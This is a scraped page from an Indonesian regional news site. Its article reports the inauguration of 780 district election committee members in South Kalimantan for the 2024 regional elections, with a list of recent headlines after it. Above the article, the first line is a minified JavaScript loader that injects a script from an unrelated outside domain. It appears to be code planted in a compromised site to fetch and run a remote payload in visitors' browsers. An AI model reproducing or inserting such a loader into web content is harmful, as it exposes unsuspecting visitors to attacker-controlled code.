(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

780 Anggota PPK se Kalsel Dilantik, Bertugas 8 Bulan


KANALKALIMANTAN.COM, BANJARBARU – Seluruh Panitia Pemilihan Kecamatan (PPK) di Provinsi Kalimantan Selatan (Kalsel) resmi dilantik serentak pada Kamis (16/5/2024) kemarin.

Keseluruhan jumlah anggota PPK se Kalsel 780 orang dari 106 kecamatan pada 13 Kabupaten dan Kota. Dimana setiap kecamatan berisi lima anggota PPK.

Komisi Pemilhan Umum (KPU) Kalsel mengingatkan agar anggota PPK yang telah resmi dilantik memegang teguh prinsip-prinsip yang diatur dalam undang-undang.

Hal itu disampaikan Komisioner KPU Kalsel, Fahmi Failasopa saat menghadiri pelantikan PPK di Kota Banjarbaru, Kamis (16/5/2024) malam.

Baca juga: Pipa Bocor, Suplai Air Bersih di Banjarmasin Barat dan Tengah Terhenti

“Menjalankan 11 poin yang sudah mereka nyatakan dalam fakta integritas. Jadi 11 poin itu harus dipegang teguh dalam menjalankan tugas dan kewajiban selama Pilkada 2024,” ingat Fahmi Failasopa.

Fahmi mengatakan bahwa pelantikan PPK ini serentak dilakukan seluruh Indonesia.

Komisioner KPU Kalsel, Fahmi Failasopa. Foto : wanda

“Dan di Kalsel, hanya PPK Banjarmasin dan Banjarbaru  yang melaksanakan pelantikan pada malam hari,” sebut dia.

Secara geografis untuk Kota Banjarbaru tidak ada ditemukan tantangan yang berarti dalam pelaksanaan Pilkada 2024 nanti.

Baca juga: 25 Anggota PPK Kota Banjarbaru Dilantik, Langsung Bekerja Membentuk Sekretariat

Namun, karena Banjarbaru sudah sebagai Ibu Kota Provinsi Kalsel, atmosfir pelaksanaan Pilkada 2024 akan berbeda dengan kabupaten dan kota lain.

“Sehingga kami tekankan kepada para anggota PPK untuk menjunjung tinggi integritas dan netralitas. Jangan sampai terpengaruh terhadap oknum yang berupaya memanipulatif,” tegasnya.

PPK mulai bertugas terhitung setelah dilantik hingga 27 Januari 2025 atau kurang lebih 8 bulan masa kerja.

“Kurang lebih 8 bulan, namun bisa ditambah kalau hasil Pilkada ditemukan gugatan di MK, itu bisa ditambah masa kerja hingga dua bulan,” tuntas Fahmi. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

13 menit ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

3 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

9 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

10 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

12 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

12 jam ago

This website uses cookies.